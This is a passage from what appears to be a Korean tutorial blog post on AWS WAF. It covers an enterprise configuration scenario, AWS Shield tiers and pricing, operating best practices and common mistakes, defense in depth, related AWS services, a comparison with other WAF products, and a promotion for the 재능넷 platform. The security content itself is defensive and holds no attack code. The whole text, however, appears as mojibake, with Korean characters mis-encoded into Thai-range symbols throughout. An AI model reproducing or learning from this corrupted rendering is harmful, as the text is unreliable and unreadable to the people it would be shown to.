- ๋กœ๊ทธ์ธ Rate Limiting (5๋ถ„ ๋‚ด 10ํšŒ)

๐Ÿข ์‹œ๋‚˜๋ฆฌ์˜ค 4: ๊ธฐ์—… ๋‚ด๋ถ€ ์‹œ์Šคํ…œ (B2B)

์ฃผ์š” ์œ„ํ˜‘: ์™ธ๋ถ€ ์ ‘๊ทผ, ๋ฐ์ดํ„ฐ ์œ ์ถœ, ๋‚ด๋ถ€์ž ์œ„ํ˜‘

์ถ”์ฒœ ์„ค์ •:
- ํšŒ์‚ฌ IP ๋ฒ”์œ„๋งŒ ํ—ˆ์šฉํ•˜๋Š” IP ํ—ˆ์šฉ ๋ชฉ๋ก
- ํ•ด์™ธ IP ์ „์ฒด ์ฐจ๋‹จ (Geo Restriction)
- AnonymousIpList ํ™œ์„ฑํ™” (VPN/ํ”„๋ก์‹œ ์ฐจ๋‹จ)
- ๋ชจ๋“  ์š”์ฒญ ๋กœ๊น… ํ™œ์„ฑํ™” (๊ฐ์‚ฌ ๋ชฉ์ )
- ๋น„์—…๋ฌด ์‹œ๊ฐ„๋Œ€ ์ ‘๊ทผ ๋ชจ๋‹ˆํ„ฐ๋ง

โšก AWS WAF + Shield โ€” ๋” ๊ฐ•๋ ฅํ•œ DDoS ๋ฐฉ์–ด

AWS WAF๋งŒ์œผ๋กœ๋„ ๊ธฐ๋ณธ์ ์ธ DDoS ๋ฐฉ์–ด๊ฐ€ ๋˜์ง€๋งŒ, ๋” ๊ฐ•๋ ฅํ•œ ๋ณดํ˜ธ๊ฐ€ ํ•„์š”ํ•˜๋‹ค๋ฉด AWS Shield์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋Š” ๊ฑธ ๊ณ ๋ คํ•ด๋ด.

์„œ๋น„์Šค ๋ณดํ˜ธ ์ˆ˜์ค€ ๋น„์šฉ ํŠน์ง•
AWS Shield Standard ๊ธฐ๋ณธ DDoS ๋ฐฉ์–ด ๋ฌด๋ฃŒ ๋ชจ๋“  AWS ๊ณ ๊ฐ์—๊ฒŒ ์ž๋™ ์ ์šฉ. L3/L4 DDoS ๋ฐฉ์–ด
AWS Shield Advanced ๊ณ ๊ธ‰ DDoS ๋ฐฉ์–ด $3,000/์›” L7 DDoS ๋ฐฉ์–ด, 24/7 DRT ํŒ€ ์ง€์›, ๋น„์šฉ ๋ณดํ˜ธ, ์‹ค์‹œ๊ฐ„ ๊ฐ€์‹œ์„ฑ
๐Ÿ’ก Shield Advanced์˜ ํ•ต์‹ฌ ํ˜œํƒ - DDoS ๋น„์šฉ ๋ณดํ˜ธ: DDoS ๊ณต๊ฒฉ์œผ๋กœ ์ธํ•œ AWS ๋น„์šฉ ๊ธ‰์ฆ ์‹œ ํฌ๋ ˆ๋”ง ์ œ๊ณต
- DRT (DDoS Response Team): AWS ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€ ํŒ€์ด 24/7 ๋Œ€์‘ ์ง€์›
- ์ž๋™ ์™„ํ™”: ๊ณต๊ฒฉ ํŒจํ„ด์„ ์ž๋™์œผ๋กœ ๊ฐ์ง€ํ•˜๊ณ  WAF ๊ทœ์น™ ์ž๋™ ์ƒ์„ฑ
- ์‹ค์‹œ๊ฐ„ ๋Œ€์‹œ๋ณด๋“œ: ๊ณต๊ฒฉ ํ˜„ํ™ฉ์„ ์‹ค์‹œ๊ฐ„์œผ๋กœ ์‹œ๊ฐํ™”

๋Œ€๋ถ€๋ถ„์˜ ์Šคํƒ€ํŠธ์—…์ด๋‚˜ ์ค‘์†Œ ์„œ๋น„์Šค๋Š” Shield Standard(๋ฌด๋ฃŒ) + WAF ์กฐํ•ฉ์œผ๋กœ ์ถฉ๋ถ„ํ•ด. Shield Advanced๋Š” ๊ธˆ์œต, ๊ฒŒ์ž„, ๋Œ€ํ˜• ์ด์ปค๋จธ์Šค์ฒ˜๋Ÿผ DDoS ๊ณต๊ฒฉ์ด ๋น„์ฆˆ๋‹ˆ์Šค์— ์ง์ ‘์ ์ธ ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” ์„œ๋น„์Šค์— ์ ํ•ฉํ•ด.


๐Ÿš€ WAF ์šด์˜ ๋ฒ ์ŠคํŠธ ํ”„๋ž™ํ‹ฐ์Šค โ€” ์ด๊ฒƒ๋งŒ์€ ๊ผญ ์ง€์ผœ!

AWS WAF๋ฅผ ์ž˜ ์„ค์ •ํ–ˆ๋‹ค๊ณ  ๋์ด ์•„๋‹ˆ์•ผ. ์žฅ๊ธฐ์ ์œผ๋กœ ์ž˜ ์šด์˜ํ•˜๊ธฐ ์œ„ํ•œ ๋ฒ ์ŠคํŠธ ํ”„๋ž™ํ‹ฐ์Šค๋“ค์„ ์ •๋ฆฌํ•ด์ค„๊ฒŒ.

โœ… ๋ฐ˜๋“œ์‹œ ํ•ด์•ผ ํ•  ๊ฒƒ๋“ค

1
์ƒˆ ๊ทœ์น™์€ Count ๋ชจ๋“œ๋กœ ๋จผ์ € ํ…Œ์ŠคํŠธ
์ƒˆ๋กœ์šด ๊ทœ์น™์„ ๋ฐ”๋กœ Block์œผ๋กœ ์„ค์ •ํ•˜๋ฉด ์ •์ƒ ํŠธ๋ž˜ํ”ฝ์ด ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ์–ด. ์ตœ์†Œ 1~2์ฃผ Count ๋ชจ๋“œ๋กœ ์šด์˜ํ•˜๋ฉด์„œ False Positive๋ฅผ ํ™•์ธํ•œ ํ›„ Block์œผ๋กœ ์ „ํ™˜ํ•ด.
2
๋กœ๊น… ๋ฐ˜๋“œ์‹œ ํ™œ์„ฑํ™”
๋กœ๊ทธ ์—†์ด๋Š” ๋ญ๊ฐ€ ์ฐจ๋‹จ๋๋Š”์ง€, ์–ด๋–ค ๊ณต๊ฒฉ์ด ๋“ค์–ด์˜ค๋Š”์ง€ ์•Œ ์ˆ˜ ์—†์–ด. S3 ๋˜๋Š” CloudWatch Logs์— WAF ๋กœ๊ทธ๋ฅผ ์ €์žฅํ•˜๊ณ  ์ •๊ธฐ์ ์œผ๋กœ ๋ถ„์„ํ•ด.
3
CloudWatch ์•Œ๋žŒ ์„ค์ •
์ฐจ๋‹จ ์š”์ฒญ์ด ๊ธ‰์ฆํ•˜๋ฉด ์ฆ‰์‹œ ์•Œ๋ฆผ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ๋„๋ก CloudWatch ์•Œ๋žŒ์„ ์„ค์ •ํ•ด. SNS์™€ ์—ฐ๋™ํ•ด์„œ Slack์ด๋‚˜ ์ด๋ฉ”์ผ๋กœ ์•Œ๋ฆผ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์–ด.
4
์ •๊ธฐ์ ์ธ ๊ทœ์น™ ๊ฒ€ํ† 
์ƒˆ๋กœ์šด ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜๋ฉด AWS ๊ด€๋ฆฌํ˜• ๊ทœ์น™์ด ์ž๋™์œผ๋กœ ์—…๋ฐ์ดํŠธ๋˜์ง€๋งŒ, ์ปค์Šคํ…€ ๊ทœ์น™์€ ์ง์ ‘ ๊ด€๋ฆฌํ•ด์•ผ ํ•ด. ๋ถ„๊ธฐ๋ณ„๋กœ ๊ทœ์น™ ํšจ๊ณผ๋ฅผ ๊ฒ€ํ† ํ•˜๊ณ  ๋ถˆํ•„์š”ํ•œ ๊ทœ์น™์€ ์ œ๊ฑฐํ•ด.
5
IaC๋กœ ๊ด€๋ฆฌ
Terraform์ด๋‚˜ AWS CloudFormation์œผ๋กœ WAF ์„ค์ •์„ ์ฝ”๋“œํ™”ํ•ด์„œ ๋ฒ„์ „ ๊ด€๋ฆฌํ•ด. ์‹ค์ˆ˜๋กœ ๊ทœ์น™์„ ์‚ญ์ œํ•ด๋„ ๋น ๋ฅด๊ฒŒ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์–ด.
6
WAF ์šฐํšŒ ํ…Œ์ŠคํŠธ
์ •๊ธฐ์ ์œผ๋กœ ์นจํˆฌ ํ…Œ์ŠคํŠธ(Penetration Test)๋ฅผ ์ˆ˜ํ–‰ํ•ด์„œ WAF๊ฐ€ ์‹ค์ œ๋กœ ๊ณต๊ฒฉ์„ ๋ง‰๋Š”์ง€ ํ™•์ธํ•ด. AWS์—์„œ๋Š” ์‚ฌ์ „ ์Šน์ธ ์—†์ด ์ผ๋ถ€ ํ…Œ์ŠคํŠธ๊ฐ€ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๋Œ€๊ทœ๋ชจ ํ…Œ์ŠคํŠธ๋Š” AWS์— ์‚ฌ์ „ ์‹ ์ฒญ์ด ํ•„์š”ํ•ด.

โŒ ํ•˜์ง€ ๋ง์•„์•ผ ํ•  ๊ฒƒ๋“ค

โš ๏ธ ํ”ํ•œ ์‹ค์ˆ˜๋“ค - ์ฒ˜์Œ๋ถ€ํ„ฐ ๋ชจ๋“  ๊ทœ์น™ Block์œผ๋กœ ์„ค์ •: False Positive๋กœ ์„œ๋น„์Šค ์žฅ์•  ๋ฐœ์ƒ ๊ฐ€๋Šฅ
- ๋กœ๊น… ๋น„ํ™œ์„ฑํ™”: ๊ณต๊ฒฉ ๋ถ„์„ ๋ถˆ๊ฐ€, ๋ฌธ์ œ ๋ฐœ์ƒ ์‹œ ์›์ธ ํŒŒ์•… ์–ด๋ ค์›€
- WCU ํ•œ๋„ ๋ฌด์‹œ: 1,500 WCU ์ดˆ๊ณผ ์‹œ ๊ทœ์น™ ์ถ”๊ฐ€ ๋ถˆ๊ฐ€
- ๊ทœ์น™ ์šฐ์„ ์ˆœ์œ„ ๋ฌด์‹œ: ์ž˜๋ชป๋œ ์ˆœ์„œ๋กœ ๊ทœ์น™์ด ์‹คํ–‰๋˜์–ด ์˜๋„์น˜ ์•Š์€ ๋™์ž‘
- CloudFront WAF๋ฅผ us-east-1 ์™ธ ๋ฆฌ์ „์— ์ƒ์„ฑ: ์—ฐ๋™ ๋ถˆ๊ฐ€
- WAF๋งŒ ๋ฏฟ๊ณ  ๋‹ค๋ฅธ ๋ณด์•ˆ ์กฐ์น˜ ์†Œํ™€: WAF๋Š” ์—ฌ๋Ÿฌ ๋ณด์•ˆ ๋ ˆ์ด์–ด ์ค‘ ํ•˜๋‚˜์ผ ๋ฟ

๐Ÿฐ ์›น ์„œ๋น„์Šค ๋ณด์•ˆ ๋ ˆ์ด์–ด โ€” Defense in Depth WAF๋Š” ์—ฌ๋Ÿฌ ๋ณด์•ˆ ๋ ˆ์ด์–ด ์ค‘ ํ•˜๋‚˜์•ผ. ๋‹ค์ธต ๋ฐฉ์–ด๊ฐ€ ์ง„์งœ ๋ณด์•ˆ์ด์•ผ! ๐ŸŒ ๋ ˆ์ด์–ด 1: ๋„คํŠธ์›Œํฌ ๋ณด์•ˆ (VPC, Security Group, NACLs, Shield) ๐Ÿ›ก๏ธ ๋ ˆ์ด์–ด 2: AWS WAF (์›น ๊ณต๊ฒฉ ์ฐจ๋‹จ) ๐Ÿ”‘ ๋ ˆ์ด์–ด 3: ์ธ์ฆ/์ธ๊ฐ€ (Cognito, IAM, JWT) ๐Ÿ’ป ๋ ˆ์ด์–ด 4: ์•ฑ ๋ณด์•ˆ (์ž…๋ ฅ ๊ฒ€์ฆ, ์•”ํ˜ธํ™”) ๐Ÿ—„๏ธ ๋ฐ์ดํ„ฐ (์ตœ์ข… ๋ณดํ˜ธ ๋Œ€์ƒ) ๐Ÿ˜ˆ ๊ณต๊ฒฉ์ž ๐Ÿ˜ˆ ๊ณต๊ฒฉ์ž ๐Ÿšซ ๐Ÿšซ WAF ์ฐจ๋‹จ WAF ์ฐจ๋‹จ ๊ฐ ๋ ˆ์ด์–ด๊ฐ€ ๋…๋ฆฝ์ ์œผ๋กœ ๋ฐฉ์–ดํ•˜๋ฏ€๋กœ, ํ•˜๋‚˜๊ฐ€ ๋šซ๋ ค๋„ ๋‹ค์Œ ๋ ˆ์ด์–ด๊ฐ€ ๋ง‰์•„์ค˜!

๐Ÿ”— AWS WAF์™€ ํ•จ๊ป˜ ์“ฐ๋ฉด ์ข‹์€ ์„œ๋น„์Šค๋“ค

AWS WAF๋Š” ๋‹จ๋…์œผ๋กœ๋„ ๊ฐ•๋ ฅํ•˜์ง€๋งŒ, ๋‹ค๋ฅธ AWS ๋ณด์•ˆ ์„œ๋น„์Šค๋“ค๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋ฉด ๋”์šฑ ๊ฐ•๋ ฅํ•œ ๋ณด์•ˆ ์ฒด๊ณ„๋ฅผ ๊ตฌ์ถ•ํ•  ์ˆ˜ ์žˆ์–ด!

์„œ๋น„์Šค ์—ญํ•  WAF์™€์˜ ์‹œ๋„ˆ์ง€
AWS Shield DDoS ๋ฐฉ์–ด L3/L4 DDoS๋Š” Shield, L7 ๊ณต๊ฒฉ์€ WAF๊ฐ€ ๋‹ด๋‹น
Amazon GuardDuty ์œ„ํ˜‘ ํƒ์ง€ (ML ๊ธฐ๋ฐ˜) GuardDuty๊ฐ€ ํƒ์ง€ํ•œ ์•…์„ฑ IP๋ฅผ WAF IP Set์— ์ž๋™ ์ถ”๊ฐ€ ๊ฐ€๋Šฅ
AWS Security Hub ๋ณด์•ˆ ์ƒํƒœ ํ†ตํ•ฉ ๊ด€๋ฆฌ WAF ๋กœ๊ทธ๋ฅผ Security Hub์—์„œ ํ†ตํ•ฉ ๋ถ„์„
Amazon CloudFront CDN + ์—ฃ์ง€ ๋ณด์•ˆ ์—ฃ์ง€์—์„œ WAF ์‹คํ–‰์œผ๋กœ ์˜ค๋ฆฌ์ง„ ์„œ๋ฒ„ ๋ถ€ํ•˜ ๊ฐ์†Œ
AWS Lambda ์„œ๋ฒ„๋ฆฌ์Šค ํ•จ์ˆ˜ WAF ๋กœ๊ทธ ๋ถ„์„ โ†’ Lambda โ†’ IP Set ์ž๋™ ์—…๋ฐ์ดํŠธ
Amazon Cognito ์‚ฌ์šฉ์ž ์ธ์ฆ Cognito User Pool์— WAF ์ง์ ‘ ์—ฐ๊ฒฐ ๊ฐ€๋Šฅ
AWS Firewall Manager ๋‹ค์ค‘ ๊ณ„์ • WAF ์ •์ฑ… ๊ด€๋ฆฌ Organizations ์ „์ฒด์— WAF ์ •์ฑ… ์ผ๊ด„ ์ ์šฉ
๐Ÿ’ก ์ž๋™ํ™” ์•„์ด๋””์–ด: GuardDuty + WAF ์—ฐ๋™ GuardDuty๊ฐ€ ์•…์„ฑ IP๋ฅผ ํƒ์ง€ํ•˜๋ฉด โ†’ EventBridge ์ด๋ฒคํŠธ ๋ฐœ์ƒ โ†’ Lambda ํ•จ์ˆ˜ ์‹คํ–‰ โ†’ WAF IP Set์— ์ž๋™์œผ๋กœ ์ฐจ๋‹จ IP ์ถ”๊ฐ€
์ด๋Ÿฐ ์ž๋™ํ™” ํŒŒ์ดํ”„๋ผ์ธ์„ ๊ตฌ์ถ•ํ•˜๋ฉด ์‚ฌ๋žŒ์ด ๊ฐœ์ž…ํ•˜์ง€ ์•Š์•„๋„ ์‹ค์‹œ๊ฐ„์œผ๋กœ ์œ„ํ˜‘์— ๋Œ€์‘ํ•  ์ˆ˜ ์žˆ์–ด! ๐Ÿค–

๐Ÿ“Š AWS WAF vs ๋‹ค๋ฅธ WAF ์†”๋ฃจ์…˜ ๋น„๊ต

AWS WAF ๋ง๊ณ ๋„ ๋‹ค๋ฅธ WAF ์†”๋ฃจ์…˜๋“ค์ด ์žˆ์–ด. ์–ด๋–ค ๊ฒŒ ๋‚ด ์ƒํ™ฉ์— ๋งž๋Š”์ง€ ๋น„๊ตํ•ด๋ณด์ž.

์†”๋ฃจ์…˜ ์žฅ์  ๋‹จ์  ์ ํ•ฉํ•œ ์ƒํ™ฉ
AWS WAF AWS ์„œ๋น„์Šค์™€ ์™„๋ฒฝ ํ†ตํ•ฉ, ๊ด€๋ฆฌ ๋ถ€๋‹ด ์—†์Œ, ์ž๋™ ์Šค์ผ€์ผ๋ง AWS ์ข…์†์„ฑ, ๊ณ ๊ธ‰ ๊ธฐ๋Šฅ์€ ์ถ”๊ฐ€ ๋น„์šฉ AWS ์ธํ”„๋ผ ์‚ฌ์šฉ ์ค‘์ธ ๋ชจ๋“  ์„œ๋น„์Šค
Cloudflare WAF ๊ฐ•๋ ฅํ•œ ๋ด‡ ๋ฐฉ์–ด, ๊ธ€๋กœ๋ฒŒ ๋„คํŠธ์›Œํฌ, ์‚ฌ์šฉ ํŽธ์˜์„ฑ AWS ์™ธ๋ถ€ ์„œ๋น„์Šค, ์ถ”๊ฐ€ ๋น„์šฉ ๋ฉ€ํ‹ฐ ํด๋ผ์šฐ๋“œ, ๊ฐ•๋ ฅํ•œ ๋ด‡ ๋ฐฉ์–ด ํ•„์š” ์‹œ
ModSecurity (์˜คํ”ˆ์†Œ์Šค) ๋ฌด๋ฃŒ, ์™„์ „ํ•œ ์ปค์Šคํ„ฐ๋งˆ์ด์ง• ์ง์ ‘ ๊ด€๋ฆฌ ํ•„์š”, ์ „๋ฌธ ์ง€์‹ ํ•„์š” ์˜จํ”„๋ ˆ๋ฏธ์Šค, ๋น„์šฉ ์ ˆ๊ฐ ํ•„์š” ์‹œ
Imperva WAF ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ๊ธ‰ ๊ธฐ๋Šฅ, ์ „๋ฌธ ์ง€์› ๋†’์€ ๋น„์šฉ ๋Œ€๊ธฐ์—…, ๊ทœ์ • ์ค€์ˆ˜ ์š”๊ตฌ์‚ฌํ•ญ ์žˆ์„ ๋•Œ

AWS ์ธํ”„๋ผ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๋ฉด AWS WAF๊ฐ€ ๊ฐ€์žฅ ์ž์—ฐ์Šค๋Ÿฌ์šด ์„ ํƒ์ด์•ผ. ๋ณ„๋„์˜ ์ธํ”„๋ผ ์—†์ด ํด๋ฆญ ๋ช‡ ๋ฒˆ์œผ๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๊ณ , AWS ์„œ๋น„์Šค๋“ค๊ณผ ์™„๋ฒฝํ•˜๊ฒŒ ํ†ตํ•ฉ๋˜๊ฑฐ๋“ . ์žฌ๋Šฅ๋„ท ๊ฐ™์€ ํ”Œ๋žซํผ ์„œ๋น„์Šค๋„ AWS ๊ธฐ๋ฐ˜์ด๋ผ๋ฉด WAF ๋„์ž…์„ ๊ฐ•๋ ฅ ์ถ”์ฒœํ•ด! ๐ŸŽฏ


๐ŸŽ“ ๋งˆ๋ฌด๋ฆฌ โ€” AWS WAF, ์ด์ œ ๋‘๋ ต์ง€ ์•Š์•„!

์ž, ์—ฌ๊ธฐ๊นŒ์ง€ AWS WAF์— ๋Œ€ํ•ด ์ •๋ง ๋งŽ์€ ๊ฑธ ์•Œ์•„๋ดค์–ด. ์ฒ˜์Œ์—” ๋ณต์žกํ•ด ๋ณด์˜€์ง€๋งŒ, ํ•ต์‹ฌ์„ ์ •๋ฆฌํ•˜๋ฉด ์ด๋ž˜:

๐ŸŽฏ AWS WAF ํ•ต์‹ฌ ์š”์•ฝ 1๏ธโƒฃ WAF๋Š” HTTP ๋ ˆ์ด์–ด(L7)์—์„œ ๋™์ž‘ํ•˜๋Š” ์›น ์ „์šฉ ๋ฐฉํ™”๋ฒฝ์ด์•ผ

2๏ธโƒฃ Web ACL์— ๊ทœ์น™๋“ค์„ ์ถ”๊ฐ€ํ•ด์„œ CloudFront, ALB, API Gateway ๋“ฑ์„ ๋ณดํ˜ธํ•ด

3๏ธโƒฃ AWS ๊ด€๋ฆฌํ˜• ๊ทœ์น™ ๊ทธ๋ฃน์„ ํ™œ์šฉํ•˜๋ฉด ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€ ์—†์ด๋„ ๊ฐ•๋ ฅํ•œ ๋ฐฉ์–ด ๊ฐ€๋Šฅ

4๏ธโƒฃ Rate-based Rule๋กœ DDoS์™€ ๋ด‡ ํŠธ๋ž˜ํ”ฝ์„ ๊ธฐ๋ณธ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ์–ด

5๏ธโƒฃ ์ฒ˜์Œ์—” Count ๋ชจ๋“œ๋กœ ํ…Œ์ŠคํŠธ ํ›„ Block์œผ๋กœ ์ „ํ™˜ํ•˜๋Š” ๊ฒŒ ์•ˆ์ „ํ•ด

6๏ธโƒฃ ๋กœ๊น… + ๋ชจ๋‹ˆํ„ฐ๋ง์€ ํ•„์ˆ˜! ๋กœ๊ทธ ์—†์ด๋Š” ์šด์˜์ด ๋ถˆ๊ฐ€๋Šฅํ•ด

7๏ธโƒฃ IaC(Terraform)๋กœ ๊ด€๋ฆฌํ•˜๋ฉด ๋ฒ„์ „ ๊ด€๋ฆฌ์™€ ์žฌํ˜„์„ฑ์ด ๋ณด์žฅ๋ผ

์›น ์„œ๋น„์Šค๋ฅผ ์šด์˜ํ•œ๋‹ค๋ฉด WAF๋Š” ์„ ํƒ์ด ์•„๋‹ˆ๋ผ ํ•„์ˆ˜์•ผ. ํŠนํžˆ ์š”์ฆ˜์ฒ˜๋Ÿผ ์ž๋™ํ™”๋œ ๊ณต๊ฒฉ ๋„๊ตฌ๋“ค์ด ๋„˜์ณ๋‚˜๋Š” ์‹œ๋Œ€์—๋Š” ๋”๋”์šฑ. ์›” $10~20 ์ •๋„์˜ ๋น„์šฉ์œผ๋กœ ์„œ๋น„์Šค๋ฅผ ์ง€ํ‚ฌ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ •๋ง ์ €๋ ดํ•œ ๋ณดํ—˜์ด์ž–์•„? ๐Ÿ’ช

AWS WAF ์„ค์ •์ด ์–ด๋ ต๊ฑฐ๋‚˜ ์‹œ๊ฐ„์ด ์—†๋‹ค๋ฉด, ํด๋ผ์šฐ๋“œ/DevOps ์ „๋ฌธ๊ฐ€์˜ ๋„์›€์„ ๋ฐ›๋Š” ๊ฒƒ๋„ ์ข‹์€ ๋ฐฉ๋ฒ•์ด์•ผ. ์žฌ๋Šฅ๋„ท์—์„œ AWS ๋ณด์•ˆ ์„ค์ • ์ „๋ฌธ๊ฐ€๋ฅผ ์ฐพ์•„๋ณด๋ฉด ๋น ๋ฅด๊ฒŒ ๋„์›€์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์„ ๊ฑฐ์•ผ. ๋ณด์•ˆ์€ ๋ฏธ๋ฃจ๋ฉด ๋ฏธ๋ฃฐ์ˆ˜๋ก ๋ฆฌ์Šคํฌ๊ฐ€ ์ปค์ง€๋‹ˆ๊นŒ, ์˜ค๋Š˜ ๋‹น์žฅ ์‹œ์ž‘ํ•ด๋ณด์ž! ๐Ÿš€

๐Ÿ’ก ์‹œ์ž‘ํ•˜๊ธฐ ๊ฐ€์žฅ ์‰ฌ์šด ๋ฐฉ๋ฒ•: AWS ์ฝ˜์†” โ†’ WAF & Shield โ†’ Web ACLs โ†’ Create web ACL โ†’ AWS ๊ด€๋ฆฌํ˜• ๊ทœ์น™ ๊ทธ๋ฃน ์ถ”๊ฐ€ (CommonRuleSet + SQLiRuleSet + AmazonIpReputationList) โ†’ ๊ธฐ์กด CloudFront ๋˜๋Š” ALB์— ์—ฐ๊ฒฐ. 30๋ถ„์ด๋ฉด ๊ธฐ๋ณธ ๋ณดํ˜ธ ์™„์„ฑ! โฑ๏ธ
๋Œ“๊ธ€ ์ž‘์„ฑ

์ด ๊ธ€์— ๋Œ€ํ•œ ์—ฌ๋Ÿฌ๋ถ„์˜ ์ƒ๊ฐ์„ ๋“ค๋ ค์ฃผ์„ธ์š”

๋Œ“๊ธ€ 0
๋Œ“๊ธ€์„ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘์ž…๋‹ˆ๋‹ค.

์•„์ง ๋Œ“๊ธ€์ด ์—†์Šต๋‹ˆ๋‹ค.